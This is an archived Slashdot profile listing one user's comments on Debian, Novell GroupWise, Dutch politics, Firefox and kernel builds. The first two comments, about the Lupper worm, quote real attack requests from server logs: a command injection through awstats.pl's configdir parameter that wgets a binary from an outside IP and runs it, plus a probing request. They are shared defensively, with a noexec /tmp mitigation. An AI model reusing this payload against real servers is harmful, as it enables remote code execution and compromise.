Slashdot Mirror


User: smoking2000

smoking2000's activity in the archive.

Stories
0
Comments
47
First seen
Last seen
Profile
(view on slashdot.org)

Comments · 47

  1. Re:Does it look like this? on Linux Lupper.Worm In the WIld · · Score: 1
    I have a variation on this one besides the "flupii" one. This one uses a file called "listen"
    GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%2 0YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2fli sten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216% 2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1
    I think there is also a "scout" part, which finds vulnarable hosts, as I also have requests like this:
    GET /usage/cgi-bin/awstats.pl?configdir=|echo%20;echo% 20;cat%20awstats.pl;echo%20;echo| HTTP/1.1
  2. Re:Conditions for infection... on Linux Lupper.Worm In the WIld · · Score: 5, Informative
    The command it runs is:
    |echo;echo YYY;cd /tmp;wget 24.224.174.18/listen;chmod +x listen;./listen 216.102.212.115;echo YYY;echo|
    It is passed to awstats.pl in a request like:
    GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd% 20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bc hmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e 212%2e115;echo%20YYY;echo| HTTP/1.1
    There are also POST request to xmlrpc.php pages, like:
    POST /drupal/xmlrpc.php HTTP/1.1
    So if you have /tmp mounted noexec this should not be a problem.
  3. Re:1000 developers? on Debian Addresses Security Problems · · Score: 1

    You are correct, I had mistaken Branden for Joey. Two names I see fly by very frequently.

    I recalled an email to debian-devel about the security issue, where it was stated that only one member was left active.
    Only did I recall the name incorrectly, my apologies for the confusion I may have caused.

  4. Re:1000 developers? on Debian Addresses Security Problems · · Score: 5, Informative

    Of those many developers only 5 of them where in the Security team. And of those 5 only one (Brandon) has remained active.

    Due to the nature of security issues, the team had tough requirements for new members, which kept fresh blood to enter the team.

    Now that this problem got the attention it unfortunatly needed, new members have stepped to the plate to strengthen the security team.

    You can read more about the handling of this situation in Brandon's Project Leader Report

  5. Re:Debian thoughts on Debian Leaders: We Need to Release More Often · · Score: 1

    My first Linux distro was Debian Woody when it was still in testing, I learned how to get things running in the Debian way. Which meant alot of tinkering with config files. I'm now quite confortable with that way of using my OS.

    I've also setup my mothers laptop with Debian recently, testing flavour, since I refuse to admin Windows in my own network. She can do all the trivial things she wants, browse the net, email her friends and edit some pictures of her kindergartenclass.
    One thing she can't do that well is do new things. I always have to setup and configure it for her.

    Last weekend I upgraded my Woody install to Unstable and put Ubuntu beside it as dual boot, to see what all the rejoycing was about. And to evuate it as an alternative for my mother to use.

    And I must say Ubuntu makes discovering the OS alot easier, since some very handy packages are installed by default, where under plain Debian you whould have to know about them and install them yourself.

    So, I agree that for new users plain Debian is not the way to go, unless they are willing to dive deep into the workings of your OS. If you just want to use the OS, instead of tinkering with it, the Debian derived distro's are a fine choice.

  6. Re:Karma on What Do You Believe Even If You Can't Prove It? · · Score: 1

    I too am that position, and I just started to read A Buddhist Bible and Buddhism, a Way of Life and Thought which I found via the Zen FAQ. So here's some more possible reading material.

  7. Re:Arrrrrgggg! on Life Interrupted · · Score: 3, Funny

    must wrap head in duct tape before it explodes

    I think I saw that on MacGuyver once

  8. Re:Our current government... on Dutch Gov't Doubles Back On Open-Source Goals · · Score: 2, Interesting

    [Our current government] Is the most corrupt one in many many years...

    I hope that both the related ministers and MS executives get a big bucked of shit over themselfs.


    Why hope? Let's go and do something about it.

    In my oppinion, the Dutch public was about to empeach our current ministers, too many people were/are upset over the issues of early retirement, healthcare etc. We are represented by a government for which we did not vote (the majority voted for a CDA/PVDA coalition, we got a CDA/VVD/D66 coalition in which the agenda of the VVD rules), they take measure of which the public does not approve, so the public is in it's democratic right to demand changes, either by the current government or by one we'll elect because the current one does not do what the people want and demand.

    Why were there no mobs of people in The Hague, demanding a change of government and/or it's policy? Because some lunatic shoots a filmmaker at just the right time (just like with the rise of Pim Fortuyn), one which just happens to have a very critical opinion towards this government and his opinion tends to influence those of others. Now we start to get a US-like situation, were the public is manipulated by FUD about threats of terrorism and fear of all that is Islamic. But the public opinion is once again in favor of the current government. I accuse them of creating momentum by assinating a critic and a politician who demanded change in the current political system, and using this momentum to assure their continuity and increasing their power and control.

    Almost an exact copy of what happend in the US after 9/11. I guess now I know what our Minister President talked about with GWB, tactics on how to spin public opinion in your benefit and how to ensure the profitability of our own Oil (Royal Dutch Shell) and War (Stork, Urenco) industry.

    You know what? I'm still fed up with it! I demand change, but it seams that only in Eastern Europe the public can still demand changes. The West has lost their will to fight or question authority. *sigh*

  9. Re:How can you ever fight bureaucrats? on Dutch Gov't Doubles Back On Open-Source Goals · · Score: 2, Insightful

    My thoughts exactly.

    But make sure that you have a sane replacement ready, before their position is filled with a next-gen bureaucrat with ideas in new and innovative ways of cluelessness.

  10. Re:It's ok baby.. on Laptops May Be Hazardous to Your Fertility · · Score: 0, Offtopic

    For my girl it's always OK. She swallows.

    ...

    The pill that is.

  11. Re:x.org on Debian Announces Sarge Will Include GNOME 2.8 · · Score: 3, Informative

    No, x.org will not be in Sarge.

    See the news item "Future of Debian X11 Packages" in this issue of Debian Weekly News

  12. Re:Seems a shame to waste it on a newspaper ad on NYT Firefox Campaign Raises $250,000 · · Score: 5, Informative

    That kind of money could be better used to finance developement.

    They will, according to the interview with Rob Davis at redherring.com:

    To date, close to 10,000 people have funneled almost $250,000 through Mr. Davis' campaign into the Mozilla Foundation, the Mountain View, California, non-profit organization that is developing Firefox.

    The ad will cost just under $50,000, and the left-over cash will be plowed back into the Mozilla Foundation.

  13. Re:Picasso? on Lost Ed Wood Film Unearthed · · Score: 1

    They're so bad they're past good and enter the territory of the head-scratchingly bizarre (emphasis mine)

    You mean like Mamoru Oshii's Talking Head or one of the other films in his Cinema Trilogy?

  14. Re:handling malformed data is a pretty bad idea .. on IE Shines On Broken Code · · Score: 1

    You raise a nice question.

    I would love to see a plugin for Firefox which enforces a "use strict" like with Perl.

    When the plugin is enabled (a buildin option would have my preference, though), bad code won't be rendered at all.

    Just like in the days of Mozilla prior to 1.0, before then it hardly ever rendered bad html, afterwards they focussed more on the "Website compatibility"

  15. Re:Novell SuSE Linux on Novell to Defend Open Source Using Patents · · Score: 1

    But don't try to run GroupWise on SLES 9.

    GW SP3 will is supposed to fix this issue and serveral others, but is only expected at the end of this year.

    That's also about the same time as the expected release of Novell Open Enterprise Server (SLES 9 + NNLS 1.0)

  16. Re:Makes Business Sense on Novell to Defend Open Source Using Patents · · Score: 1

    If only they made GroupWise 6.5 and NNLS 1.0 work seamlessly on SLES 9 which is available now.

    We are now running SLES 8 machines for these services, but the kernel supplied with this version does not support our gigabit networkcards (driver was introduced in 2.4.25, I think). And the license for SLES 8 on machines running AMD XP CPU's is more expensive then the same license for Intel P4's. Guess what's running on those machines. *sigh*

    Too bad we can't wait for the Novell Open Enterpise Server.

    Other than these relatively small issues, NNLS looks very promising and another alternative to MS Exchange is always welcome in my network!
    Now they only need to fix the feature gap between the Windows Groupwise client and the Crossplatform client, we want thost document management features!

  17. Re:Crap. on Making Tracks on Mars · · Score: 1

    Ofcourse not!

    We are humans, therefor we litter ;-)

  18. Re:uh oh... groupwise? on Novell to Help Port Applications to Linux · · Score: 1

    Although there is a GroupWise client for Linux, it is not the exact same client as the one on Windows.

    The cross-platform client doesn't support the Document Management features of GroupWise. They say they're working on it though.

    Some NNLS components (iPrint for instance) and other Linux products of Novell have these same issues. Only fully functional on Windows at this moment.

    I can't wait for the changelog of the next version of NNLS etc, to see if (some of) these issues are fixed.

  19. RC2 works in FireFox on Building a Better Mozilla With Plugins · · Score: 5, Informative
    Also from the Prefbar Website (near bottom of the page):

    PrefBar 2.3 RC2 - works with Firefox, and has many new features
  20. Re:I love the Dutch! on Dutch Parliament Reverses Software Patent Vote · · Score: 1

    Do they have any good beer?

    Yes we do: Columbus from Brouwerij 't IJ (9%)

    Forget Heineken, Amstel, Grolsch etc.
    This beer is traditionally brewed, and the brewery is located in a windmill. How Dutch!

  21. Re:Woohoo, another kernel compile. on Linux Kernel 2.6.7 Released · · Score: 5, Funny

    Here they go into the first round: make oldconfig.

    Some sort slowdowns here and there but they're coming into the second round none the less: make modules modules_install bzImage.

    Their CPU's are running full speed and they're almost at the finish, the excitement!

    There we have it folks, 2 rounds and the AMD XP's are doing great, followed by the Intel P4's.

    Now comes the most feared part for all the contestants: mv System.map /boot && mv arch/i386/boot/bzImage /boot/vmlinuz-2.6.7 && update-grub && reboot

    The crowd is holding its breath while the contestants approach the finish line. Owww, 1 P4 crashed with a kernel panic just before the finishline, what a shame!
    The Athlon XP's crossed the finishline and were awarded with a beautifull new kernel! The Intel P4's came in second place and got the beautifull new kernel anyway!

    Tune in next week for more kernel sports, when we will visit the senior compile contest between a 486sx and a 486dx

  22. Sad, but true on Linus Adopts Enhanced Tracking Process · · Score: 1

    Especially those who have died (there must be at least one)

    Unfortuatly you are right, Manuel Estrada Sainz died recently in a car accident together with Andrés García while returning from a Free Software conferenc in Spain.

    The announcement on debian-announce

    May they rest in peace.

  23. Smell of fresh kernel in the morning on Kernel 2.4.26 Out · · Score: 1

    Patched all the Windows machines yesterday, fix Linux machines today.
    At least my boss can't say I've been reading /. all week.

  24. Re:It's a dual edge sword on Security Tools More Harmful Than Helpful? · · Score: 1

    the same tools can also help a hacker use that information to exploit your system (other side).

    Cracker, dude. In this case/context it's called a cracker.

    Do you want RMS to send you a letter too?

  25. Re:interesting.. on THG On Migrating To Linux · · Score: 4, Insightful

    My first experience with Linux was with Debian aswell (when Woody was still Testing).

    Because of the lack of GUI tools for every configuration I needed to make, I had to do it myself.
    Through this course I learned a whole lot more about the internal workings of Debian and Linux distros in general.

    So in my opinion, if you're not scared to try and learn something new, Debian is not that bad a choice.

    Another nice side-effect was that I never felt more in controle over my PC then ever before.
    Like Mentor said: "[...] Wait a second, this is cool. It does what I want it to. If it makes a mistake, it's because I screwed it up. Not because it doesn't like me... [...]"